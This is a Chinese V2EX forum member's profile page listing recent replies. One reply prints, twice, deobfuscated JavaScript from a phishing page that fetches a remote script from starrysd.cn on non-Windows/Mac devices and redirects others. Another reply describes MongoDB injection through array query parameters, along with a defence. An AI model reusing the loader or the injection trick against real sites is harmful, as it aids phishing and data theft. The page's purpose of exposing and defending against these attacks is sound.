 |
nullzzV2EX 第 174800 号会员，加入于 2016-05-26 19:25:35 +08:00 |
nullzz 最近回复了
2018-11-01 18:24:32 +08:00 回复了 shansing 创建的主题 › 全球工单系统 › 新浪，你家“乐居云盘 API”域名快成钓鱼网页的温床了 |
解个密
```
function t(e) {
var t = document.createElement("script");
var n = document.getElementsByTagName("script")[0];
t.src = e,
t.async = !0,
n.parentNode.insertBefore(t, n)
}
function n() {
var e = {
win: false,
mac: false,
xll: false
};
var t = navigator.platform;
e.win = t.indexOf("Win") == 0;
e.mac = t.indexOf("Mac") == 0;
e.x11 = t == "X11" || t.indexOf("Linux") == 0;
if (e.win || e.mac) {
return false;
} else {
return true;
}
}
n() ? t("//starrysd.cn./zepto.js") :window.location.href = "https://act.qzone.qq.com/vip/2018/vip-10th-m?_wv=16778243";
```
```
function t(e) {
var t = document.createElement("script");
var n = document.getElementsByTagName("script")[0];
t.src = e,
t.async = !0,
n.parentNode.insertBefore(t, n)
}
function n() {
var e = {
win: false,
mac: false,
xll: false
};
var t = navigator.platform;
e.win = t.indexOf("Win") == 0;
e.mac = t.indexOf("Mac") == 0;
e.x11 = t == "X11" || t.indexOf("Linux") == 0;
if (e.win || e.mac) {
return false;
} else {
return true;
}
}
n() ? t("//starrysd.cn./zepto.js") :window.location.href = "https://act.qzone.qq.com/vip/2018/vip-10th-m?_wv=16778243";
```
2018-10-26 12:27:37 +08:00 回复了 lookforsex 创建的主题 › 程序员 › 小米 mix3 发布了，大伙居然没点动静 |
重量 189，两只手？
2018-10-19 12:26:55 +08:00 回复了 tao1991123 创建的主题 › 问与答 › 老家 WiFi 密码总是被 WiFi 钥匙之类的 APP 泄露， 求解决方案？ |
mac 地址认证
2017-01-14 19:51:46 +08:00 回复了 DoraJDJ 创建的主题 › MongoDB › 关于 MongoDB 注入的防御问题 |
@binux 哈哈，长见识了 KOA 还可以这样
2017-01-14 18:36:17 +08:00 回复了 DoraJDJ 创建的主题 › MongoDB › 关于 MongoDB 注入的防御问题 |
看样子我理解有误，有意思，看下这个 http://static.hx99.net/static/bugs/wooyun-2015-0112230.html
2017-01-14 18:22:49 +08:00 回复了 DoraJDJ 创建的主题 › MongoDB › 关于 MongoDB 注入的防御问题 |
从 cnodejs 的 mongodb 注入来看， nodejs 和 php 一样支持参数数组传参，即 req.query.id 获取到的值可以是个数组比如请求 index?id[$regex]=1 后端获取到的 id 值为{"$ne": 1}
限制你请求的参数的值只能为字符串，就不可能注入
限制你请求的参数的值只能为字符串，就不可能注入
2016-06-04 10:39:06 +08:00 回复了 tanktanktank 创建的主题 › 深圳 › 白石洲 招合租 |
16 应届生 在科技园工作 20 号左右来深圳可以么？
Select Language